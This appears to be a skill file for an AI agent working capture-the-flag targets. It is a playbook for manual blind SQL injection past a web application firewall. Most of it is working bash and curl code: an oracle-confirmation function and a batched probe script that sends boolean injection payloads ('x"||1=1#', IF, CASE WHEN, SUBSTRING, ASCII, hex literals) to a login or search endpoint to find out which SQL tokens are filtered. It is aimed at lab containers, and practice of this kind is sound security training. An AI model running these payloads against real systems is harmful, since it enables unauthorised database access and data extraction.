blind-sqli

Blind SQL Injection — Manual WAF Bypass

Companion to sqli.md. Load this only after you have:

1. Confirmed a stable binary oracle (two distinct page states: "User exists" vs "No results", different content lengths, or different HTTP codes).
2. Confirmed sqlmap with --tamper cannot pass the WAF. If sqlmap returns clean dumps, stop and use it — this skill is more expensive in tokens and wall-clock.

If both conditions hold, the goal is to hand-craft a payload that substitutes every filtered SQL token until each oracle probe returns a clean true/false signal, then extract the flag bit-by-bit with the smallest possible request count.

Confirm the oracle first (≤2 minutes)

The whole playbook collapses if your "true" and "false" responses aren't distinguishable. Reduce the response to a single grep-able token before any extraction:

probe() {
  local label="$1"; local payload="$2"
  local resp
  resp=$(curl -s --max-time 8 -X POST "http://$TARGET/search.php" \
    --data-urlencode "username=${payload}")
  echo "$resp" \
    | grep -oE "User exists[^<]*|No results|some item is filtered|Error|Welcome" \
    | head -1
}

probe "true probe"  "x\"||1=1#"     # expect: User exists
probe "false probe" "x\"||1=2#"     # expect: No results
probe "filter probe" "x\"||SLEEP(0)#"  # expect: filtered (token banned)

A single ambiguous response means you do NOT have an oracle yet — re-do recon. Time-based oracles work too, but bash's time resolution and HTTP jitter make a content oracle 5-10× more reliable.

Step 1 — WAF token fingerprint (batched probe script)

Test 10-15 candidate tokens in one script, log each as a labelled line. One script run beats 15 sequential bash calls (saves ~70% of the round-trip cost).

cat > /tmp/probe.sh <<'EOF'
#!/usr/bin/env bash
set -u
TARGET="${TARGET:?set TARGET=host:port}"
ENDPOINT="${ENDPOINT:-/search.php}"
PARAM="${PARAM:-username}"
INJ="${INJ:-x\"||{PAYLOAD}#}"     # outer template; {PAYLOAD} is replaced

probe() {
  local label="$1"; local payload="$2"
  local body="${INJ/'{PAYLOAD}'/$payload}"
  local resp
  resp=$(curl -s --max-time 6 -X POST "http://$TARGET$ENDPOINT" \
    --data-urlencode "$PARAM=$body")
  local sig
  sig=$(echo "$resp" | grep -oE "User exists[^<]*|No results|filtered|some item[^<]*|Error" | head -1)
  printf "%-40s | %s\n" "$label" "${sig:-???}"
}

# === SQL token sniff matrix ===
probe "1=1 baseline true"              "1=1"
probe "1=2 baseline false"             "1=2"
probe "WHERE clause"                   "EXISTS(SELECT 1 FROM users WHERE 1=1)"
probe "AND keyword"                    "1=1 AND 1=1"
probe "&& operator"                    "1=1 && 1=1"
probe "OR keyword"                     "1=0 OR 1=1"
probe "|| operator"                    "1=0 || 1=1"
probe "IF function"                    "IF(1=1,1,0)"
probe "CASE WHEN"                      "(CASE WHEN 1=1 THEN 1 ELSE 0 END)"
probe "SUBSTRING(str,1,1)"             "SUBSTRING('abc',1,1)='a'"
probe "MID(str,1,1)"                   "MID('abc',1,1)='a'"
probe "ASCII(c)"                       "ASCII('a')=97"
probe "ORD(c)"                         "ORD('a')=97"
probe "GROUP_CONCAT()"                 "GROUP_CONCAT('a','b')='ab'"
probe "single-quote 'a'"               "'a'='a'"
probe "double-quote \"a\""             "\"a\"=\"a\""
probe "hex 0x61"                       "0x61='a'"
probe "arithmetic boolean"             "(1=1)*(1=1)=1"
EOF
chmod +x /tmp/probe.sh
TARGET=host.docker.internal:8080 /tmp/probe.sh | tee /tmp/probe.out